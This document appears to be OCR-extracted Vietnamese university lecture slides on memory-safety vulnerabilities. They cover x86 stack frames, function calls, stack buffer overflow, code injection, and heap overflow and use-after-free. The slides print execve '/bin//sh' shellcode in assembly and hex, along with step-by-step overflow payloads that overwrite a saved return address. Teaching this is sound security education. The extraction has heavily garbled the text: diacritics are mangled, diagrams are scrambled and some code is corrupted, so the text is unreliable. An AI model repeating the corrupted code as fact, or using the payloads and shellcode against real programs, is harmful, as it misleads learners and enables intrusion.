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* L6 héng tran bod dém (Buffer Overflow)
* L6 héng tran sé nguyén

* L6 héng xau dinh dang

« Co ban vé lap trinh an toan
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2023 CWE Top 25

» Danh sach 25 16 héng phan mém nguy hiém nhat:
3trongsé Top 10 la dang 16 héng truy cap bé nhé
* +116 héng lién quan: CWE-20

Rank
CVEs |Change
Rank ID Name Score inKEV| vs.
2022
1 ) CWE-787 |Out-of-bounds Write 63.72 70 0
2 CWE-79 Imprope_r Nelutralizat_ion of _InputlDuring Web Page 45.54 4 0
=——— |Generation ('Cross-site Scripting')
o Improper Neutralization of Special Elements used in an SQL
e CWE-89 Command ('SQL Injection') 327 5 0
45 CWE-416 |Use After Free 16.71 44 +3
3 Improper Neutralization of Special Elements used in an 0S
5 CWE-78 Command ('OS Command Injection') 15.85 23 el
6 CWE-20 ||Improper Input Validation 15.50 35 -2
7 ) CWE-125 |Out-of-bounds Read 14.60 2 =2
8 CWE-22 I[nproper Limita'tion of a Pathname to a Restricted Directory 1411 16 0
=== |('Path Traversal')
9 CWE-352 |Cross-Site Request Forgery (CSRF) 11.73 0 0
10 CWE-434 |Unrestricted Upload of File with Dangerous Type 10.41 5 0

Ngudn: https://cwe.mitre.org

If" DAI HQC BACH KHOA HA NOI

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY

1. Téng quan vé tién trinh (nhac lai)
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Tién trinh(process) la gi?

* Tién trinh(process) # chwong trinh(program)
* La chuvongtrinh dang duoc thyc hién
 C4c tai nguyén téi thiéu cua tién trinh:

* Vung nhé duoc cap phat

» Contré lénh(Program Counter)

» Cacthanh ghicua CPU

» Khéi diéu khién tién trinh(Process Control Block-
PCB): C4u tric chira thong tin cha tién trinh

If " DAIHOC BACH KHOA HA NOI
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Cap phat bd nhé cho tién trinh ntn?

e Process A

B6 chuyén
HDD déi dia chi fe—
(OS + CPU)
R |

Virtual memory

RAM
(Physical Memory)
I DAI HOC BACH KHOA HA NOI
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B6 nhé cua tién trinh(Linux 32-bit)

- Tién trinh coi bd nho
thudc toan bo sé hiru
clané

- Thuc té day 1a bd nhé
80 voi dia chi 8o, sé
dwoc HDH/CPU anh
xa sang dia chi vat ly

Oxffffffff

Loi ich:

- Cach ly: Hai tién trinh
truy cap vé&i dia chi
giébng nhau trén bd
nhé do clia n6é nhwng
truy cap t¢i 6 nhe
khac nhau trén bd
nhé vat ly

- Téi thiéu héa quyén:
HBPH kiém soat dé
tién trinh chi truy cap
dwoc vao bd nho cla
no

0x00000000

I” DAI HQC BACH KHOA HA NOI
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Bd nhé caa tién trinh(x86 32-bit)

Thiét 1ap khi tién {
trinh bat dau

Thay déi khi
thuwe thi

Xac dinh & thoi
diém bién dich

Khoéng gian dia chi
cUa thiét bj vao-ra {

Kernel
cmdline & env

Stack

- =

Heap

BSS
Data
Text

Unused

I” DAI HQC BACH KHOA HA NOI

Oxffffffff
0xc0000000

Mé& réng dé lwu triv div liéu
khi thyc hién 10 goi ham

Buoc quan ly trong tién trinh béi
cac ham cap phat bd nhé déng
(malloc, calloc)

0x08048000
0x00000000
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Gi¢i thiéu chung vé kién truc x86

« S&r dung kién trac tap 1énh CISC
* Malénh cé do dai 1-16 byte
* Tailiéu taplénh: 5000 trang
* Little-edian: byte c6 y nghia thap duoc ghitrén 6
nha& co dia chithap
 Tap thanh ghi x86:
« EAX, EBX, ECX, EDX, ESI, EDI: Thanh ghi da muc dich
» ESP: Thanh ghi con tro stack
* EBP: Thanh ghicontré cosé
* EIP: Thanh ghi con tré Iénh

I” DAI HQC BACH KHOA HA NOI
HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY

ekt

Cu phap trén x86

« %:Lay gid tri trong thanh ghi.
* Vidu: $ebp, %esp, %eip
« $: Gid tri hang truc tiép.
« Vidy: $1, $0x01
e ():Truycap 6 nhé theo do léch.

* Vidu: 8 (3ebp) truy cap 6 nhd ndm & vi tri 8 byte phia
sau dia chi & trong thanh ghi EBP

* Lenh Assembly Opcode Source MI
e Vidu:add $b=xo,

* M3gid: EBX = EBX + 0x8
* Vidu:xor 4 (%esi), %eax
* M3gid: EAX = EAX ~ * (ESI + 4)

I” DAI HQC BACH KHOA HA NOI
- HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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» Stack frame: viing nhé trén
stack dwoctaoradéluutrirdit  biachi cao
liéu cho mot loi goi ham:
* Thamsd
*+ Biéncuchd
» Dijachitrave EBP —
« Stack bt dau & dia chi cao va e«\q\ao“
tang truang veé dia chi thap o e®
o Luutrir sd nguyén: little-edian ESP —|
» Luu trir mang: tir 6 ¢ dia chi thap dén dija
chicao
« Caccon tré tham chiéu téi
stack frame:
» EBP(base pointer): tré vao day stack frame

» ESP(stack pointer): tré vao dinh stack
frame

Pia chi thap

I” DAI HQC BACH KHOA HA NOI
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* Thém mét phan tir vao EBP —
stack —
« Gidm gia tri cua ESP dé cap et
thém bo nhé cho stack ESP — |
« Catgiatrivao dinh stack(6

nh& cé dia chi thap nhat)

Trwéce khi thue

* Vidu: gid st thanh ghi hign [gnh
EAX cé gidtrila EBP —
Oxcafef00d 20t

6\
e o
push %eax [N “@((‘
ESP — Oxcafef00d
» . . Sau khi thuwe
I DAl HOC BACH KHOA HA NOI A AL
B HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY nenienn
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EBP — * I
« X6a phan tir & dinh stack \gg\o\“
» Cat giatri& d’inh stack(6 ) O“"{'?:(\a“‘e
nhé cé dia chi thap nhat) vao
thanh ghi ESP —* Oxcafe£00d
 Tanggiatricha ESP dé thu
h6i o nhé Trwdc khi thue
* Vidu: sau lénh pop, thanh hién Iénh
ghi EAX cé giatrila EBP — |
Oxcafef00d A0
pop %eax A“\S\“
M
ESP — .
. Sau khi thwe hién
K ouocsicniionns nor lenh
- ) 13

13

Loi goi ham trong x86

Trwéce khi goi ham Ham dwoc goi thue thi Sau khi ham \du’qyc goi
tra vé
: int callee(int argl, int arg2) { :
void caller() { char locl[4]; void caller() {
callee(1l, 2) int loc2; callee(1l, 2)
return; . - return;
} return 0; }
}
Ham goi Ham dworc goi Ham goi
Ham goi(caller) goi ham Ham dwoc goi thwce thi, sau do
dwoc goi (callee) tra diéu khién vé cho ham goi

I” DAI HQC BACH KHOA HA NOI
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Quy wéc goi ham trong x86

» M6 ta cach thic hé thong xir ly 1oi goi ham

* Tha tu truyén tham sé
¢ Cactham sé dwoc day vao stack theo thi ty nguoc vaoi
khai bdo & dau ham
* Travé két qua
 Giatritra vé duoc gan cho thanh ghi EAX
» Thao tac trén thanh ghi: thanh ghi c6 2 loai
« Caller-saved: thanh ghi ma ham dugc goi co thé ghi dé
Ién, bao gobm EAX, ECX, EDX

* Callee-saved: thanh ghi ma ham dwoc goi khéng thay
déi gia tri khi trd vé, bao gom cac thanh ghi con lai

I” DAI HQC BACH KHOA HA NOI
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Loi goi ham trong x86

+ Khi I&i goi ham duoc thyc hién, moét stack frame méi duoc taora
« Cacthanh ghi ESP, EBP dich chuyén dé thao tac trén stack frame méi
« Thanh ghi EIP dich chuyén t&i méa thyc thi cda ham duoc goi
» Dich chuyén = Thay déi gia tri cla thanh ghi d& tré t&i 6 nhé mai
* Khitra vé tir ham duoc goi, cac thanh ghi ESP, EBP, EIP khoi phuc lai gia
tri cii(trwdc khi goi ham)

e e i EBP —* e fta™® |
ef
ESP — Ca a Ca\e S ESP — Galv &
< 3 2
EBP — oo frae
ESP —* ce
EIP —| caller code
S callercode © EIP ™" callercode QO
callee code |3 8 g
ElP — calleecode ©® calleecode ©
Trwdc khi goi S S
ham 9 Trong khi ham Sau khi ham
dwoc goi thye thi dwoc goi tra vé
I” DAI HQC BACH KHOA HA NOI
- HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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void caller() { int callee(int argl, int arg2) {
. char locl[4];
callee(1l, 2) int loc2;
return; .
} return 0;
}
I caller:
M3 nguén C <.
push $2
push $1
call callee
add $8, %esp
M3 duoc dich sang
Assembly
callee:
push %ebp
mov %esp, %ebp
sub $8, %esp
mov $0, %eax
mov %ebp, %esp
pop %ebp
ret
17
17
VI dl.‘ void caller() { int callee(int argl, int arg2) {
e char locl[4];
callee(1l, 2) int loc2;
return; .
} return 0;
}
* Contro EBPva
ESP dang tré vao caller:

stack frame cua
ham goi

e Contrd EIPtré
vao lénh tiép
theo sé duoc
thuec thi

e Lénh mau doé 1a

lénh dang duoc
thuc thi

EBP —

ESP > caller stack frame

EIP —— push $2
push $1

call callee
add $8, %esp

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp
mov $0, %eax
mov %ebp, %esp
pop %ebp
ret

18

18




void caller() { int callee(int argl, int arg2) {
e char locl[4];
callee(1l, 2) int loc2;
return; .
} return 0;
}
1.Pay cactham sé
vaostackthgothg caller:
tw nguoc khi truyen EBP — o
push $2
ESP — 2 EIP —— push $1

call callee
add $8, %esp

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax

mov %ebp, %esp

pop %ebp
ret
19
VI dl:l void caller() { int callee(int argl, int arg2) {
e char locl[4];
callee(1l, 2) int loc2;
return; e
} return 0;
}
1. b4y cac tham so
vao stack theo thu N caller:
tw nguwoc khi truyén EBP o
push $2
2 push $1
ESP — 1 EIP —— call callee
add $8, %esp
callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

20




<
Q.
<

void caller() { int

callee(1l, 2)
return;

callee(int argl, int arg2) {
char locl[4];
int loc2;

return O;

2.Lénh call thyc
hién:

- Paygiatricaa EIP

tiép theo, sau lénh

goi ham calleg, cua

caller) vao stack.

Giatri EIP duocluu ESP —
nay duoc goi laRIP

(return instruction

(chwra dia chilénh push $2

push $1

call callee

RIP cua callee

| »add $8, %esp

callee:

pointer)

» Thay d6i EIP tro
vao lénh cda ham
callee

EIP +—— push %ebp

mov %esp, %ebp
sub $8, %esp

mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

21

21

Vidu

Thuyc hién cac lénh
mé& dau ham dé
thiét 1ap stack
frame cho ham
callee

void caller() {

callee(1l, 2)
return;

int callee(int argl, int arg2) {

char locl[4];
int loc2;

return 0;

caller:
push $2
push $1

call callee

ESP —| RIP cua callee

add $8, %esp

callee:

push %ebp

mov %esp, %ebp

sub $8, %esp

mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

22

22
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3. Catgiatrihién
tai cta EBP vao
stack

» Giatri dwoc cat
gitr nay dugc goi
la SFP (saved
frame pointer)

e SFP duogc st
dung dé khoi
phuc lai gia tri
cho contré EBP
khi ham callee tr3
vé

void caller() { int

callee(1l, 2)

callee(int argl, int arg2) {
char locl[4];

int loc2;
return; .
} return 0;
}
caller:
EBP — caller stack frame -
push $2
2 push $1
1 call callee
add $8, %esp
RIP cua callee
ESP —| SFP cua callee .
callee:

push %$ebp
EIP —— mov %esp, %ebp
sub $8, %esp

mov $0, %eax
mov %ebp, %esp

pop %ebp
ret

23

23
VI dl.‘ void caller() { int callee(int argl, int arg2) {
e char locl[4];
callee(1l, 2) int loc2;
return; .
} return 0;
}
4. Dich chuyén EBP
t6i vi tricua ESP caller:
caller stack frame e
push $2
2 push $1
1 call callee
add $8, %esp
RIP cua callee
EBP — ESP —| SFP cua callee
callee:
push %ebp
mov %esp, %ebp
EIP — sub $8, %esp
mov $0, %eax
mov %ebp, %esp
pop %ebp
ret
24
24
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4, Dich chuyén ESP
dé tao khong gian
nhé lwu triv gia tri
cua cac bién cuc bd

void caller() {

callee(1l, 2)
return;

int callee(int argl, int arg2) {
char locl[4];
int loc2;

return

0;

2

1

RIP cuaa callee

EBP —| SFP cua callee

locl

ESP —| loc2

EIP —

caller:
push $2
push $1

call callee
add $8, %esp

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

25

5. Thuc thi ham
callee

void caller() {

callee(1l, 2)
return;

int callee(int argl, int arg2) {
char locl[4];
int loc2;

return

0;

2

1

RIP cua callee

EBP —| SFP cua callee

locl

ESP — loc2

caller:
push $2
push $1

call callee
add $8, %esp

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

EIP — -

mov $0, %eax

mov %ebp, %esp
pop %ebp
ret

26
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6.Gangiatritrave
cta ham callee vao
thanh ghi EAX

void caller() {

callee(1l, 2)

char locl[4];

int callee(int argl, int arg2) {

int loc2;
return; .
} return 0;
}
caller:
caller stack frame -
push $2
2 push $1
1 call callee
add $8, %esp
RIP cua callee
EBP —| SFP cua callee 3
callee:
locl push %ebp
mov %esp, %ebp
ESP — loc2 sub $8, %esp
mov $0, %eax
EIP —— mov %ebp, %esp
pop %ebp
ret
27

27
VI dl.‘ void caller() { int callee(int argl, int arg2) {
e char locl[4];
callee(1l, 2) int loc2;
return; e
} return O;
}
Thyc hién cac lénh
kgt tth ham qa}leg caller:
dé khoi phuc gia tri caller stack frame e
cho EBP va ESP tro push $2
vao stack frame 2 push $1
cta ham caller 1 call callee
add $8, %esp
RIP cua callee
EBP —| SFP cua callee
callee:
locl push %ebp
mov %esp, %ebp
ESP — loc2 sub $8, %esp
mov $0, %eax
EIP —
28

14



7. Dichuyén con
tré6 ESP vé vijtricua
EBP ~ x6a vlung
nhé& cap phat cho
bién cuc bo

ESP — EBP —| SFP cua callee

void caller() { int

callee(1l, 2)
return;

callee(int argl, int arg2) {
char locl[4];
int loc2;

return O;

_ -
push $2

2
1

RIP cuaa callee

push $1
call callee
add $8, %esp

callee:
push %ebp
mov %esp, %ebp
sub $8, %esp

mov $0, %eax
mov %ebp, %esp

EIP —— Pop %ebp
ret

29

29
VI dl:l void caller() { int callee(int argl, int arg2) {
e char locl[4];
callee(1l, 2) int loc2;
return; e
} return 0;
}
7.Layragiatri SFP
¢ dinh stack va gén EBP > caller:
cho EBP .
« EBPtrévao stack push $2
frame cGa ham 2 push $1
caller 1 call callee
. A add $8, %esp
» ESPtang ~x6ad ESP —| RIP cua callee
nhé chira SFP
callee:
push %ebp
mov %esp, %ebp
sub $8, %esp
mov $0, %eax
mov %ebp, %esp
pop %ebp
EIP —— ret
30
30
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void caller() { int

callee(1l, 2)

callee(int argl, int arg2) {
char locl[4];

int loc2;
return; .
} return 0;
}
8.Lénh ret thyc
hlen: EBP — caller:
« LayragiatriRIP& caller stack frame -
dinh stack va gan cho push $2
EIP, khi d6 EIP tré vao 2 push $1
lénh tiép theo trong call callee
ham caller, sau l5i goi ESP — EIP > add $8, %esp
ham callee
* ESPting~x6a6nhg
chtra RIP callee:
push %ebp
mov %esp, %ebp
sub $8, %esp
mov $0, %eax
mov %ebp, %esp
pop %ebp
ret
31
31
VI dl.‘ void caller() { int callee(int argl, int arg2) {
e char locl[4];
callee(1l, 2) int loc2;
return; .
} return 0;
}
9.Tang gia tri ESP
dé xoa gia tricac EBP —» caller:
tham s6 ra khoi £sp . |caller stack frame -
stack. Luc nay, push $2
stack da khoi phuc push $1
vé trang thai truéc call callee
khi thyc hién loi goi add $8, %esp
ham callee EIP ——
callee:
push %ebp
mov %esp, %ebp
sub $8, %esp
mov $0, %eax
mov %ebp, %esp
pop %ebp
ret
32
32
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2. Tan cong tran bd dém oo

ONE LOVE. ONE FUTURE.

33

Khai niém

« Bo dém (Buffer): tdp hop lién tiép cac phan tir cé kiéu dir
liéu xac dinh
* Vidu: Trong ngdn ngit C/C++, xau la bd dém cta cac ky tu
¢ C6 thé hiéu theo nghia rong: bé dém = viing nhé chira dir ligu
e Tran bo dém (Buffer Overflow-BoF): buva dir liéu vao bd
dém nhiéu hon kha ndng chira cda no
* L6 héng tran bd dém: Khong kiém soat kich thuéc dit lieu
dau vao.
» Tan congtran bo dém: Phan dir liéu tran ra khoi bd dém lam
thay d6i luéng thyc thi cda tién trinh.
» Din t&i mot két qua ngoai mong doi

* Ngon ngit bi anh huang: C/C++

If' DAI HQC BACH KHOA HA NOI

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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C/C++ van rat pho bién(2022)

Ngudn: IEEE Spectrum
M Jobs Trending
Python 1)
Java 0.588
Ci+ 0.538
[4 0.4641
JavaScript 0.4638
Spectrum H Trending
SQL 1
Python .89
Java 0.7899
JavaScript 0.5514
Co+ 0.4551
c# 0.3076
c
I DAI HOC BACH KHOA HA NOI
- HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Sw phé bién cta 16 héng Overflow

Sy phé bién cla 16 hong Overflow

2000 1886 9 Overflow
1800 167827 - 1724 s
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Ngubdn: cvedetails.com

DAI HOC BACH KHOA HA NOI

. HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY

i o

36

36

18



Vidu vé tran boé dém

void func (char *argl)
{
char buffer(4];
strcpy (buffer, argl);
return;
}
int main ()
{
char *mystr = “AuthMe!”;
®m) func (mystr) ;

}

Pia chi thép

bia chi cao

00 00 00 0O SFP RIP

&argl

e

buffer

DAI HOC BACH KHOA HA NOI

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Vidu vé tran bd dém

void func(char *argl)

{
char buffer[4];

m) strcpy (buffer, argl);
return;

}

int main ()

{
char *mystr = “AuthMe!”;
func (mystr) ;

M e !'\O

A u t h 4d 65 21 00 RIP

&argl

[T

buffer

DAI HOC BACH KHOA HA NOI

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Vidu vé tran boé dém

void func(char *argl)

{

char buffer(4];
strcpy (buffer, argl);
) return; pop $ebp %ebp = 0x0021654d

} =>SEGMENTATION FAULT
int main ()

{
char *mystr = “AuthMe!”;
func (mystr) ;

M e !'\O

A u t h 4d 65 21 00 RIP &argl

buffer

I” DAI HQC BACH KHOA HA NOI

s HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Tran bo dém - Vi du khac

void func (char *argl)

{

int authenticated = 0

char buffer[4];

strcpy (buffer, argl);

if (authenticated) {//privileged execution}
}

int main ()

{ Ham dwoc thyec thi
char *mystr = “AuthMe!”;

func (mystr) ; nhw thé nao?

M e !'\O

A u t h 4d 65 21 00 SFP RIP &argl

= buffer authenticated
I DAI HOC BACH KHOA HA NOI

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Tran bd dém - Vi du khac

void func (char *argl)
{
int authenticated = 0
char buffer[4];
strcpy (buffer, argl);
if (authenticated) {//privileged execution}
}
int main ()
{
char *mystr = “AuthMe!”;
func (mystr) ;

}

D{ liéu tran ra khdi bd dém cé thé ghi dé vao cac 6 nhd khac

A 4

e

DAI HOC BACH KHOA HA NOI

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Khai thac 16 héng tran bo dém

* L6 héng tran bd dém cho phép ké tan cong truy cap
(read/write/execute) tuy y vao vung nhé khac

* Phurong thire khai thac phé bién nhat: chen ma
nguén thyc thi (code injection)

* Y twdng

EXP EIP
| i

text 00 00 00 0O SFP RIP &argl ..

el

Buffer overflow

DAI HOC BACH KHOA HA NOI

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Code Injection - Cach khai thac

ekt

1. Tim 16 héng an toan bo nhé
2. Ghimadécvao mot vung nhé nao dé

 Phai xac dinh duoc dia chi vung nhé ma ma doc duoc

ghivao

3. Ghi de diachivung nhé chirama doc vao RIP

» Thoéng thuong, tir viec khai thac 1 vi tri 16i c6 thé dong
thoi ghi ma doc va ghi de RIP

4. Ham cbé 16 héng tra vé
5. Madoc duoc thuc thi

DAI HOC BACH KHOA HA NOI

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY

43

43

Code Injection - Vidu

Gia str ké tan cdng mudn thuc
thi lénh duwoc luu trong vung
nhé bat dau & dia chi
Oxdeadbeef.

gets bt dau ghi tir 6 nhé
nay va c6 thé ghi dé t&i bt ky
6 nhd nao & trén name, bao
gbm ca RIP!

Ké tan cong ghi gid trj nao vao
b6 nhé? Gia tri duoc ghi bt
dau tir dau?

Ké tan cong dua gia tri dau
vao nao cho ham gets?

\

char name[20];
gets (name) ;

}

void vulnerable (void) {

DAI HOC BACH KHOA HA NOI

RIP cua vulnerable

RIP

SFP cua vulnerable

SFP

name

name

name

name

name

name

HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Code Injection - Vidu

o Diuvao: 'A' * 24 +
'"\xef\xbe\xad\xde’
e Ghi 24 byte vao name va SFP
e Ghidia chi cla Iénh muén thuc thi
vao RIP
e Lam cach nao dé thuc thi cac
lénh khéng nam trong bd nhé?
e Sir dung Shellcode "\x00"

"\xef'|'\xbe'|'\xad'|'\xde'| RIP
A" AY AY A" SFP
A A A A
A A A A
]
A A A A s
void vulnerable (void) { ™ = = ™ <]
char name[20];
gets (name) ; A A A A
}
I” DAI HQC BACH KHOA HA NOI
- HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Shellcode

. SheIIc~ode: ma doc duoc chén vao bé nhé dé khai
thac 1o héng
* Tao rava thyc thilénh shell cia HPH

* Pay la cach thirc phé bién nhat dé thyc thi ma doc

XOor %eax, %eax

push %eax

push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
mov %eax, %ecx

0x31 OxcO0 0x50 0x68
0x2f 0x2f 0x73 0x68
0x68 0x2f 0x62 0x69
Ox6e 0x89 Oxe3 0x89
Oxcl 0x89 Oxc2 0xb0
0x0b Oxcd 0x80

mov %eax, %edx
mov $0xb, %al
int $0x80

I” DAI HQC BACH KHOA HA NOI
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Code Injection - Vidu

Gia slr SHELLCODE c6 d6 dai 12 byte, dia
chi cla name 13 Oxbfffcd40.

Ké tin cong ghi gia tri nao vao bd nhé? Gid
tri dugc ghi bat dau tir dau?

A . m . \ Oxbfffcd5c
Ké tan cong dua gid tri dau vao nao cho
5 Oxbfffcd58 RIP cua vulnerable RIP
ham gets?
Oxbfffcd54 SFP cua vulnerable SFP
Oxbfffcd50 name
Oxbfffcddc name 0
Oxbfffcd48 name 1
void vulnerable (void) { OxbELfaddd name <]
char name[20]; ‘
gets (name) ; Oxbfffcd40 name
}

I” DAI HQC BACH KHOA HA NOI
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Code Injection - Vidu

e DAuvao: SHELLCODE +
'A' * 12 +
"\x40\xcd\xff\xbf"'

- 12 bytes chra shellcode

- 12 byte |13p d3y name va SFP
clavulnerable

- Dijachicdashellcode

» C6 cach khac khoéng? OxbEEEcdse [INK00! —ar | oo | .e-
~ , , Oxbfesedss ' \x40'|'\xcd'|' \x££'|' \xbf" RIP
* NéuSHELLCODE c6 kich "™ "4 ——t—(—1——
7 7 7 X C
thudc lén hon 28 byte? oxnkeccaso T T T T
Oxbfffcddc| 'a' | 'a' [ 'a' | 'a b
Oxbfffcd4s SHELLCODE g
Oxbfffcd44 SHELLCODE &
void vulnerable (void) { 0xbE££edsd SHELLCODE

char name[20];
gets (name) ;

48




Code Injection - Vidu

* Néu shellcode c6 kich thuéc lén  [Reee o T ]

thi dat vao sau 6 nhé chira RIP SHELLCODE
e« RIP=? SHELLCODE
, SHELLCODE
° . *
\‘/I du' ' A ' 2 4 + SHELLCODE
\x5c\xcd\xff\xbf' + SHELLCODE
SHELLCODE SHELLCODE
. 24 byte |é’p d“éy name Vé SFP Oxbfffcd5c SHELLCODE
« 4 byte dja chi viing nhd chira shellcode  |/\*3¢'|'\xcd'|"\x££| "\xbE'| RIP
ghi dé& vao 6 nhé chira RIP '‘A' | ‘At | 'a' | 'a' | SFP
+ Noi dung Shellcode AT AT | AT A
o T oo T oo T o L
A A" A" A £
|A| IAI IAI |A| g
void vulnerable (void) { Al Al At At ‘
char name[20];
gets (name) ;
I“' }
o 49

Code Injection - Hé qua

vulnerable:
void vulnerable (void) EIP +— call gets
{ addl $4, %esp
char name[20]; movl %ebp, %esp
gets (name) ; popl %ebp .
} ret
RIP cua vulnerable
int main(void) { main: N
vulnerable() ; EBP —| SFP cua vulnerable
) return 0; call vulnerable name
name
name
name
name
ESP —

I” DAI HQC BACH KHOA HA NOI
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Code Injection - Hé qua

Pau vao:
SHELLCODE + 'A' * 12
+ '\x40\xcd\xff\xbf'

I” DAI HQC BACH KHOA HA NOI

vulnerable:
void vulnerable (void) EIP — can1 gets
{ addl $4, %esp
char name[20]; movl %ebp, %esp
gets (name) ; popl %ebp "\x00"'
} ret
(RIP) Oxbfffcd40
int main(void) { main: T T
vulnerable () ; EBP —» (SFP) AAAA -
return 0; call vulnerable (name) "AAAA'
}
(name) 'AAAA'
(name) SHELLCODE
G,I.a tri SFP (gia tri con tro I,EBI?.cua h?m g?l) b} ghi de o) Gnahle
b&i 'ARAA’, do d6 SFP tro tdi (thuong la khong hop
18) dja chi AAAA (0x41414141) (name) SHELLCODE
ESP —

s HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY
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Code Injection - Hé qua

Pau vao:
SHELLCODE + 'A' * 12
+ '\x40\xcd\xff\xbf'

vulnerable:
void vulnerable (void) call gets
{ EIP +— addl $4, sesp
char name[20]; movl %ebp, %esp
gets (name) ; popl %ebp '\x00"
} ret
(RIP) Oxbfffcd40 |
int main(void) { main: ; ; o
vulnerable() ; . EBP —» (SFP) AAAA
return 0; call vulnerable (name) "AAAA'
}
(name) 'AAAA"
(name) SHELLCODE
Gia trj RIP (gia tri nay s& khdi phuc cho con trd EIP khi )
ham tra vé dé trd tdi lénh tiép theo duoc thuc thi) bj
ghi dé béi 0xb£££cd40, do d6 RIP trd téi 6 nhé dau (evis) ETHHUERTL [
tién chira shellcode ESP —

I” DAI HQC BACH KHOA HA NOI
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Code Injection - Hé qua

Pau vao:
SHELLCODE + 'A' * 12
+ '\x40\xcd\xff\xbf'

vulnerable:
void vulnerable (void) call gets
{ addl $4, %esp
char name[20]; EIP +— movl %ebp, %esp
gets (name) ; popl %ebp "\x00"'
} ret
(RIP) Oxbfffcd40 ]
int main(void) { main: T T L
vulnerable() ; . EBP —»| (SFP) AARA
return 0; call vulnerable (name) "AAAA'
}
(name) 'AAAA'

" (name) SHELLCODE
| Tra vé tir ham gets: dich ESP I&n 4 byte

(name) SHELLCODE

ESP —>| (name) SHELLCODE le—

I” DAI HQC BACH KHOA HA NOI
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Code Injection - Vidu

Pau vao:
SHELLCODE + 'A' * 12
+ '\x40\xcd\xff\xbf'

vulnerable:
void vulnerable (void) call gets
{ addl $4, %esp
char name[20]; movl %ebp, %esp
) gets (name) ; EIP +— z:il %ebp "\x00"
(RIP) Oxbfffcd40 ]
int i id. main:
- ﬁitt:e(z:;lc)e(){ ESP {—~EBP —| (SFP) 'AAAA' ——
return 0; call vulnerable (name) "AAAA'
}
(name) 'AAAA"

(name) SHELLCODE
| K&t thic ham vulnerable: dich ESP t&i EBP

(name) SHELLCODE

(name) SHELLCODE [

I” DAI HQC BACH KHOA HA NOI
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Code Injection - Hé qua

y
DAu vao:
SHELLCODE + 'A' * 12
+ '\x40\xcd\xff\xbf'
vulnerable:
void vulnerable (void) é;il gets
{ addl $4, %esp
char name[20]; movl %ebp, %esp
gets (name) ; popl %ebp '\x00"
} EIP —> ret
ESP —| (RIP) Oxbfffcd40 -
int main(void) { main: T T L
vulnerable() ; e (SEP) AAAA
return 0; call vulnerable (name) "AAAA'
}
(name) 'AAAA'
» N (name) SHELLCODE
Két thdc ham vulnerable: khoi phuc EBP bang SFP,
b A A .. N A (name) SHELLCODE
b&i vay EBP tré tdi 6 nhd cé dia chi ' AAAA’ . Hién
a3 s N A2 5 N oA (name) SHELLCODE [
tai diéu nay chua gay anh hudng gi. Tuy nhién,
sau d¢ 16i cé thé phat sinh khi ham caller tra vé.
B FANOTORIVERSIT OF SCIENCE AND T 55
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Code Injection - Hé qua

void vulnerabl

{

movl %ebp,
popl %ebp
ret

char name[20];
gets (name) ;

$esp ESP —|'\x00"
(RIP) Oxbfffcd40 -

}

: (SFP) '"AAAA' —
int main(void) { main:
vulnerable() ; e (name) 'AAAA'
return 0; call vulnerable
} (name) 'AAAA"

(name) SHELLCODE

(name) SHELLCODE

Két thic ham vulnerable: khéi phuc EIP bang RIP,
b&i vay EIP trd tdi 6 nhd chita shellcode. EIP — (name) SHELLCODE [

I" DAI HQC BACH KHOA HA NOI
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e

56

56



L6 hong khi truy cap ving nhé heap

I” DAI HQC BACH KHOA HA NOI

B8 s HANOI UNIVERSITY OF SCIENCE AND TECHNOLOGY

* Heap overflow:
» Péi twong duwoc cidp phat bd nhé trong heap (malloc, new)
» Khong kiém soat dir liéu duwoc ghivao bé dém
. IE)h&’“éu tran ra khéi bé dém ghi dé vao vung dir liéu, con tré
ac
. ?A,é.u qua: ma doc duoc thuce thi, ludng chuong trinh bj thay
oi
» Use-after-free:
« M6t déi twong duoc gidi phong bd nhé qua sém(free,
delete)
« Ké tan cong xin cap phat bd nhé, ma cé thé sé dwoc cap phat
vung nhé vira dugc giai phong
« Ké tan cong ghi dit liéu déc hai vao vung nhé
» Chuwong trinh truy cdp vao vung nhé ma da dwoc giai phong
va sirdung dit liéu doc hai

57
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Heap overflow: C++ vtables

[T

« C++la mét ngdn ngir 1ap trinh huwdng déi tuong
« Mbi lép s& duoc khai bdo cung véi cac thudc tinh va
phuong thirc
 Khi d6i tvong dwoc khéitao, mét vung nhé trong
heap duoc cap phat

* Quan ly ving nhé cda déi twong:
» Mbi lép c6 mot bang do(vtable: chira con tré téi cac
phuong thirc)
« Khi ddi twong duwoc khéi tao, con tré vtable(thuong dat
& dau déi tugng) troé tai vung nhé chiva bdng do cha lép
* Thuyc thi phuong thirc: Xac dinh dia chi cia phuong
thirc theo d6 léch véi con tré vtable

DAI HOC BACH KHOA HA NOI
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C++ vtables

[

instance variable of y address of method bar

method bar of ClassY

address of vtable of y address of method foo

ClassY vtable

method foo of ClassY

instance variable of x

method bar of Classx

instance variable of x address of method bar
address of vtable of x address of method foo
Heap ClassX vtable

x |a mot dbi twong cla ClassX.
y la mot doi twong clia Classy.

ekt

DAI HOC BACH KHOA HA NOI

method foo of Classx

Code

